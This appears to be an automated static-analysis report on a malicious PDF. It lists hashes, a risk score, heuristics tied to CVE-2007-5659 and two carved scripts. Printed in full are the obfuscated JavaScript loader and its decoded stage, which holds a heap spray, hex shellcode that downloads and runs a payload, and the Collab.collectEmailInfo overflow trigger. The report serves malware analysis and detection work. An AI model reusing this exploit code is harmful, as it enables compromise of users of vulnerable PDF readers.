Malicious PDF — malware analysis report

Static analysis result for SHA-256 55883c935ee3d001…

MALICIOUS

PDF

20.2 KB Created: 2012-11-08 19:09:18 +03:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2026-05-07
MD5: 059aba2bf8df6e59a25f9aedc7906d9d SHA-1: 98bfcdf79c0205c498fbd7c7902a812eab27ba05 SHA-256: 55883c935ee3d001e2b3c4ff61e1754c3104513c9dcd5d90511b5bff33ab0382
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 JavaScript/JScript

The PDF file was flagged as malicious by an ML classifier with high confidence. It contains embedded JavaScript, which is a common technique for delivering malicious payloads. The JavaScript stream, named 'javascript_obj0106_000.js', is the primary indicator of malicious activity. The exact intent of the script could not be determined due to its obfuscation, but it is likely designed to exploit vulnerabilities or download further malicious content.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9977

Heuristics 5

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0x4D11 1292 bytes
SHA-256: 9c224de20cfb4d64ac142e0732375db93a9c2405cfa8161eed1601ac21996c0f
Preview script
First 1,000 lines of the extracted script
var hjgklsfoire34o = "fghijk";
var reg34e34rfrew = ':ABCD'+'EFG';
var ewr32r23wre = 'QRS'+'TU'+'VWXYZ{'+'}';
var rere3ew2r23w = "()[]^"+"abc"+"de";
var ewrwr23wrewf = 'pqrstuvw';
var ert4t3ret = '45678';
var werr3r2wr3er = '"=<>&\\';
function xbdg54eg(rg34ge){
var gargeggr="";
var r3gferg = 36;
for (var i = 0;i<rg34ge.length-(15-14);i++)
{var cxnerg4feeswf = rg34ge[i];
var reg4ewtfews=xczr4etw4e.indexOf(cxnerg4feeswf)-r3gferg;
var rwghoeregregr= reg4ewtfews+xczr4etw4e.length;
if (reg4ewtfews<(10-10)){reg4ewtfews=rwghoeregregr}
gargeggr += xczr4etw4e.charAt(reg4ewtfews)}
return gargeggr;}
var dsfvcwt4es = '9/!%+-*.,;';
var esdrzw4ry = hjgklsfoire34o+"lmno"+ewrwr23wrewf+'x'+'yz_0123'+ert4t3ret+dsfvcwt4es+werr3r2wr3er;
var nmxcbver4t = ewr32r23wre+' '+rere3ew2r23w+esdrzw4ry;
var xcvzwt4ert4t = reg34e34rfrew +'HIJKLMNOP';
var edrrrt4fw4re = xcvzwt4ert4t+nmxcbver4t;
var xczr4etw4e =edrrrt4fw4re;
var erg4wtgeg=getField("WSWSWS");
var ewfwr34fw4e=erg4wtgeg.value;
var xcvbretyg43e = xbdg54eg(ewfwr34fw4e);
var xbv4tter4t = "hauaiyh9iryh98wyf98awyf89sdayfp89aewyf89wey9wev"+"alrgwrgqr3ewgergvaebgegaehergg";
var dfhja78r278fdsa78tffdfssdf78dasf678as87dasf78d6fs78dfas7d7dt78 = xbv4tter4t.substr(45,4);
app[dfhja78r278fdsa78tffdfssdf78dasf678as87dasf78d6fs78dfas7d7dt78](xcvbretyg43e);
acroform_shifted_field_stage_000.js deobfuscated-js AcroForm field shifted-alphabet decoded (shift 36) at offset 0x4E0 2058 bytes
SHA-256: a69b23141bc7abc783a02a2436a044dedf39a62f4fbe48daec43fa4a3bd53c2d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function hex2bin(res) {var i;var g = Math.round(res.length/4);if (g != (res.length/4)) res = res + "00";var out = "";for (i=0; i<res.length; i+=4) {out = out + "%u" + res.substr(i+2,2) + res.substr(i,2);}return unescape(out);}function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}return yarsp.substring(0, len / 2);}function heapSpray(str){roteDak = str.length * 2;dakRote= "\u9090";spray = fix_it(dakRote, 0x2000 - roteDak);loxWhee = str + spray;loxWhee = fix_it(loxWhee, 524098);memory = new Array();for(i=0; i < 300; i++){memory[i] = loxWhee.substr(0,loxWhee.length - 1 ) + dakRote;}}function str_repeat ( input, cnt ) {var buf = "";for (i=0; i < cnt; i++){buf += input;}return buf;}function shellcode(loadUrl){var scode = "EB115B4B33C96681C9000480340BE4E2FAEB05E8EAFFFFFF0D5AE5E4E4D52D806F95D46F92E86F92F86F8AEC6FA2C46FD282DDACFC91166FA1D86FB0E19CE50E6F96C4E50AB6D52DADA549E50CD53FEB5AF4DC1690EC252FEAE537A40F15DFFB9103BE6F96C0E50A826FE8AA6F96F8E50A6FE06AE50C4FBFB727BB0C791B1B1B0C561B1B1B0C491B1B1B0C4C1B1B1B0C471B1B1B0C7A1B1B1B0C7D1B1B1B0C701B1B1B8C88D7D6E48C978C8188B01BB3186D210C9B1B1B1B0C9E1B1B1B8C8B8AE4E48C91968889B01BB3106D210C811B1B1B6723E0D52D6D01B1B5B58ECCB51BB314A1EB5AB1E4DC16911323A1E4B88997CA23A1E0819C81E46D01825FE0E482AF82671FE4EB602EE4E4E4D52DB5B5B1B3B51BB31C671CE491018EE08CE4F4E4E48CE4C4AAE48EE41BB3306D22D52DB58EB48EE7B5B58CE4E4E424B11BB33C6DA308B16D11D52D6D1C670CE0B5B48CC0F4E4E4B11B93081BB338E78B18679B18E491066D15ADA5DD0D90ECA564D5D7DD0D9117D52DB5B5B51B93081BB304D52D6D1C670CE0CD11B5B4B1B21B93081BB3001B93081BB30C825FE2E482AF82671FE490D6D52DB98EE1B5B5B1B5B51BB310671CC49A02D524D52DA4EB5AF0E3DC16911323E0E3C282D9D56DA8E3E0B5B5B5B3B51BB31CD52DB51BB3340C7E1A1B1B2593AE036E8B22F7066A9410EF5FD2F3953F0266F7186987975D31E51DF99B4DB8462C2FA0E27CA84A8287731B1B1B1B" +loadUrl + "E4";return scode;}var loadUrlAlsoXored = this.info.Title;var scode = shellcode(loadUrlAlsoXored);heapSpray(hex2bin(scode));var msg_bof = str_repeat( "\u0c0c\u0c0c" , 4096 );this.collabStore = Collab.collectEmailInfo({subj:"",msg:msg_bof}); \

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